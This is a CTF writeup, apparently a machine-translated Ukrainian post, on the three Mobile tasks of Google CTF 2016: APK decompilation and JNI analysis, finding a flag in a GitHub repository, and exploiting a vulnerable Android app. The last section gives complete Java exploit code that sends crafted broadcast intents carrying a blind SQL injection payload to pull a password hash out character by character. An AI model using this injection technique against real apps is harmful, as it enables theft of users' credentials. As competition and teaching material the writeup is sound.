Розбір завдань з Google CTF 2016: Mobile

Intro


Вчора закінчилися вперше організовані google'ом змагання за захоплення прапора — Google Capture The Flag 2016. Змагання тривали дві доби, за час яких потрібно було вичавити з пропонованих тасков якомога більше прапорів. Формат змагання — task-based / jeopardy.

Як заявив гугл, завдання для цього CTF складали люди, які є співробітниками команди безпеки гугла. Тому інтерес до даних таскам, як і до першого GCTF в цілому, був досить великий — всього зареєструвалося ~2500 команд, з яких, однак, тільки 900 набрали хоча б 5 очок на вирішенні тасков (опустимо ботів і нечисленні спроби грати нечесно). Взяти участь можна було будь-кому, починаючи від rookie і любителів безпеки і закінчуючи легендами галузей. Крім того, можна було брати участь і поодинці.

Велику частину від 2х діб я колупав завдання категорії Mobile. І в цьому хабі представлені writeup'и всіх тасков цієї категорії. Гугл запропонував всього 3 завдання для Mobile(в інших було по 5-6), але від цього вони були, можливо, навіть більш якісними.

Ну ладно, вода закінчилася, переходимо до суті :)



1. Ill Intentions

Таск звучить так:

Do you have have ill intentions?
Ill Intentions.АПК


За шкалою складності від 5 до 300 за успішне рішення цього тягаючи пропонувалося 150 очок.

Отже, перед нами АПК і більше нічого. Перше, що приходить на розум — установка пакета на емулятор і декомпіляція пакета. Цим і займемося.
Тут і далі не будемо зупинятися на технічних деталях, але все ж варто сказати, що зробити декомпайл з недавніх пір стало можна з допомогою повністю автоматизованої GUI-тулзы APK Studio. З її допомогою можна автоматизувати процес декомпіляції та подальшої збірки+підпису АПК. Зрозуміло, що весь «автомат» будується на тій же зв'язці apktool+dex2jar+(java декомпілятор, наприклад jd). Але я віддаю перевагу «старому» і виробляю декомпіляцію АПК в підлозі ручному режимі aka «apktool+dex2jar+jd-gui+(набір своїх скриптів)».

Спробуємо встановити «недобрі наміри емулятор, попередньо подивившись мінімальну версію SDK для Android:



У мене в розпорядженні емуляторів з шостим андройдом(Marshmallow) і на 1 версію нижче не виявилося, тому я вирішив піти іншим шляхом: перетворити низькорівневий Smali-код в Java код(classes.dex -> JAR'нік) і вже з java-исходников реконструювати додаток. Однак, не все виявилося так солодко.

Якщо заглянути в маніфест додатки:



то там можна побачити 4 активності, перша з яких не представляє ніякого інтересу, а наступні 3 явно говорять своїми іменами, що вони причетні до прапора. Подивившись в реконструйований Java-код будь-якої з тих трьох можна побачити цікаву річ:



І річ полягає в тому, що рутина по обчисленню прапора частково винесена на більш низький рівень коду — на рівень JNI.
Що ж, руки сверблять відразу ж відшукати в нативному C++ коді функцію computeFlag() . Для цього нам потрібно зробити дизасемблювання нативної бібліотеки.so) hello-jni.
Але те, що там(а точніше, чого там немає) не обрадує:



IDA не говорить ні слова про computeFlag() лібе… так і в Java-коді немає ніде виклику цієї функції — тільки імпорт.
Робимо висновок, що хлопці з гугла таким чином просто постебались =)

Повертаємося до ідеї про реконструкцію програми(створення свого ідентичного АПК). Міграція Java-коду та його «дореконструкция» не становить проблеми, але ось що реально може їх створити — імпорт нативних функцій. Їх імена вже були вище, ось вони:

  • Java_com_example_application_IsThistherealone_perhapsthis
  • Java_com_example_application_Thisistherealone_orthat
  • Java_com_example_application_Definitelynotthisone_definitelynotthis


Остання функція говорить за себе(стьоб від гугла вже закінчився) — якщо її розбирати і подивитися, то можна буде побачити, що з неї повертається статична рядок «Told you so!», тому про неї відразу забуваємо.

Імена нативних функцій містять назва пакету+назва класу, з якого(і тільки з якого вони можуть бути викликані в Java-коді — в іншому разі на стадії виклику функції з високорівневого коду виникне помилка. Тому реставрируемое додаток повинен в точності повторювати імена, використовувані в оригінальному АПК, а виклик нативних JNI-функцій повинен відбуватися з відповідних Java-класів.

Знаючи це, проводимо реставрацію коду. Код класу ThisIsTheRealOne і IsThisTheRealOne багато в чому ідентичні — різниться тільки рутина по обчисленню рядка(прапора?) у методі кліка по кнопці onClick()(див. вище).
Проведемо модифікацію коду, обробного клік, додавши в його кінець висновок обчислених рядків в лог Android-додатки:

Log.d("CTF", i.getStringExtra("msg"));


Зібравши додаток, відкривати активності (ThisIsTheRealOne і IsThisTheRealOne) доведеться за допомогою ADB утиліти AM(activity manager), т. до інтерфейс програми не дозволяє цього робити gui-режимі (хоча це можна виправити, дописавши 5 рядків коду, але лінь).

Ось обчислена рядок активності ThisIsTheRealOne:

KeepTryingThisIsNotTheActivityYouarelookingforbutherehavesomeinternetpoints!
 


А ось з IsThisTheRealOne:

Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}
 


Разом з прапором, який говорить про те, що гугл погано не жартує. Знову стьоб? :)

2. Can you repo it?

Таск звучить так:

Do you think the developer of Ill Intentions knows how to set up public repositories?


За шкалою складності від 5 до 300 за успішне рішення цього тягаючи пропонувалося всього 5 очок.

Під час дослідження «нехороших намірів» під руку попався файл ресурсів Android додатки, містить рядки. Там зазвичай багато всього цікавого, і цей раз не став винятком:



Відразу кидається в очі flag, частотний криптоаналіз вмісту якого показує, що це, швидше за все, шифр Цезаря. І правда, виявився Rot-13, але гугл жартом над тим, хто правда думає, що навіть 5 балів можуть датися так просто. Робимо Rot-13(Rot-13()):

Did you think it would be that easy?


Ок. Доведеться думати, що ж. Потрібно знайти якийсь публічний репозиторій. Швидше за все, це GitHub. І для того, щоб знайти на просторах прапор, необхідно щось справді унікальне(ім'я користувача або репозиторію). Прямо під прапором якраз те, що і може бути таким «воістину унікальним»:

l33tdev42
 


Простий гуглинг не дає результатів, що спочатку якось вибивається з сил… але перейшовши на гитхаб і зробивши пошук «l33tdev42» там, натикаємося на унікального юзера:



У якого 1 єдиний проект з 3 коммитами… проект простуватий, а коміта цілих три:



Усередині останнього якраз потрібний прапор:



ctf{TheHairCutTookALoadOffMyMind}
 


Зізнатися, 5 балів — все ж замало за такий таск…
Це був самий перший таск з Mobile, який вдалося затягти. Після нього здалося, що в тягаючи за 150 і більше знаходяться в принципі нерешабельные завдання, але, як вже йшлося, гугл жартом :)

3. Little Bobby Application

Таск звучить так:

Find the vulnerability, develop an exploit, and when you're ready,
submit your APK to bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to the return result.

BobbyApplication_CTF.apk

За посиланням:
Upload an АПК, wait a bit for your target to load your malicious АПК, and get the logs…


За шкалою складності від 5 до 300 за успішне рішення цього тягаючи пропонувалося 250 очок.

Потрібно знайти уразливість в Android-додатку, написати експлоїт і з допомогою цього експлоїта витягнути прапор з реального юзера. Аналіз працездатності експлоїта відбувається на емуляторі на сервері. Тому в середньому 13 хвилин повертається лог програми-експлойтів, у який можна писати все, що завгодно, але краще туди писати прапор, звичайно ж.
На перший погляд страшнувато, але не варто забувати про те, що гугл любить стібатися.

Ось як виглядає Bobby-додаток:



Простенька форма для авторизації і можливість реєстрації. Що ж, декомпайл-тайм!
Декомпіляція показала, що додаток використовують Sqlite для зберігання даних цікаво спроектованої таблицею Users:



Прапор говорить про те, що ін'єкція — це все, що потрібно зробити, щоб отримати прапор.
Динамічна частина прапора — md5 від пароля користувача. Цей хеш і потрібно потягнути за допомогою експлойтів, щоб «зібрати» кінцевий прапор.

Шукаємо вразливість.

Цей процес пройшов досить швидко. Додаток містило всього 8 класів і знайти уразливий модуль не склало проблеми. Уразливість полягала в наступному: при старті додаток реєструвало приймач широкомовних подій, що надходять ззовні:



Обробником входять broadcast'ів виступав клас-спадкоємець BroadcastReceiver, в якому містився наступний код:



А ось імплементація методу checkLogin() з тіла обробника вхідного broadcast'а:



Як видно, ні методом, ні обробник броадкаста не фільтрують вхідні дані, які потім використовуються при генерації «сирого» SQL-запиту до бази.
Ручна експлуатація показала, що там дійсно дірка у безпеці, що дозволяє модифікувати запит через форму.

Очевидно, що перед нами вразливість Blind SQLi — метод checkLogin() повертає статичні рядки, незалежні від инпута.
Але тим не менше в залежності від кількості обраних запитом записів(які можна контролювати эксплоитом) ми можемо керувати поведінкою цього методу, висмоктуючи з кожним зловмисних запитом 1 біт інформації про будь-яке поле таблиці БД (та й про саму БД і взагалі про що завгодно), але нас цікавить поле password, як вже говорилося вище, для «зборки» прапора.

Пишемо експлоїт.

Алгоритм експлоїта:

  1. Запустити Bobby-додаток для того, щоб воно запустило приймач broadcast-подій
  2. Сформувати malicious intent для приймача з «злими» даними всередині
  3. Слати широкомовне подія з интентом, що містить шкідливі дані
  4. Отримувати відповідь від приймача Bobby-програми про результат
  5. Повторювати до тих пір, поки всі потрібні дані не будуть посимвольно «висмоктані»


Для реалізації експлоїта достатньо двох класів. Код вийшов невеликий, тому він приведений нижче:

Головна активність експлоїта:

public class Main extends Activity {

// Пошук символів по всій таблиці символів Unicode
static int L = 0, R = (int)Math.pow(2,16);
public static int symbolNum = 0;

public static Main activity = null;
public static StringBuilder flag = new StringBuilder();

public static void SendBroadcast()
{ 

if(Main.symbolNum>32)
{
Main.Finish();
return;
}

// Формуємо шкідливе намір.
// Експлуатація уразливості буде відбуватися з використаним бінарного пошуку
int M = (L+R)/2;

Intent maliciousIntent = new Intent();
maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
maliciousIntent.putExtra("password", "1");
activity.sendBroadcast(maliciousIntent);

}

public static void Finish()
{
// Виводимо в лог знайдений прапор
Log.d("FLAG", Main.flag.toString());
Main.activity.finish();
}

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
activity = this;

// Реєструємо приймач широкомовних подій(відповідей) від onReceive() Bobby-додатки
IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
registerReceiver(new MalReceiver(), filter);

// Запускаємо Bobby-додаток
// (досконало - потрібно стежити, щоб в системі був єдиний екземпляр)
PackageManager pm = getPackageManager();
Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
if (intent != null){
startActivity(intent);
}

// Чекаємо деякий час, поки активність разом з цікавлять приймачем розгорнеться
Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
SendBroadcast();
}
}, 2000);

}

}


Приймач відповідей від Bobby:

public class MalReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {

// Отримуємо відповідь від Bobby-додатки
String answer = intent.getStringExtra("msg");

// SQL TRUE
if(answer.compareToIgnoreCase("Incorrect password")==0)
{
// Шукаємо далі
Main.L = (Main.L + Main.R)/2;
}
// SQL FALSE
else{
// Шукаємо далі
Main.R = (Main.L + Main.R)/2;
}

// Знайшли N-ий символ хеш пароля
if(Main.R-Main.L <= 1)
{
Main.flag.append((char)Main.R);
Main.symbolNum++;
Main.L = 0; Main.R = (int)Math.pow(2,16);
}

Main.SendBroadcast();

}
}


Після цього залишилося тільки відправити експлоїт на сервер, щоб його перевірили.
Через 15 хвилин…

Гугл повертає довгоочікуваний лог, в якому знаходимо:



Залишилося нікчемна справа — підставити під прапор отриманий хеш:

ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}
 


От і все.

Тепер трохи про те, як гугл стьобався над тими, хто намагався вирішити це таск. Це було досить хитро — відразу ж після старту експлоїта з Bobby-додатком на емуляторі Android на сервері стартувала мавпа(було видно в повернутому балці), яка «бомбила» рандомными діями всі компоненти системи, з-за чого, наприклад, час від часу закривалися активність експлоїта. Спочатку було неясно, що переривало роботу експлоїта — помилок про вильоти в протоколі не було, виникали враження, що там обмеження по часу. Anyway, вдало висмоктати прапор вдалося тільки з 3 спроби.

У коді экспоита вище наведено мінімальний набір дій, що демонструє загальну концепцію.
Те, що реально відбувається на практиці, містить тонну коду по захисту від monkey, щодо заборони на запуск більше 1 примірника приймача на стороні Bobby і т. д.

Outro


Так як я зосередився на мобільних додатків, то в повній мірі оцінити «фан» тасков від гугла мені навряд чи вдалося, але виходячи з того, що довелося подолати, можу точно сказати, що GCTF вийшов досить цікавим, і багато в чому інтерес забезпечений численними спробами стьобу над учасниками. В такі моменти, коли ти розумієш, що над тобою знову «постебались», відчуваєш приплив якоїсь «чорної» мотивації =)

Спасибі, гугл, було цікаво ;)

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.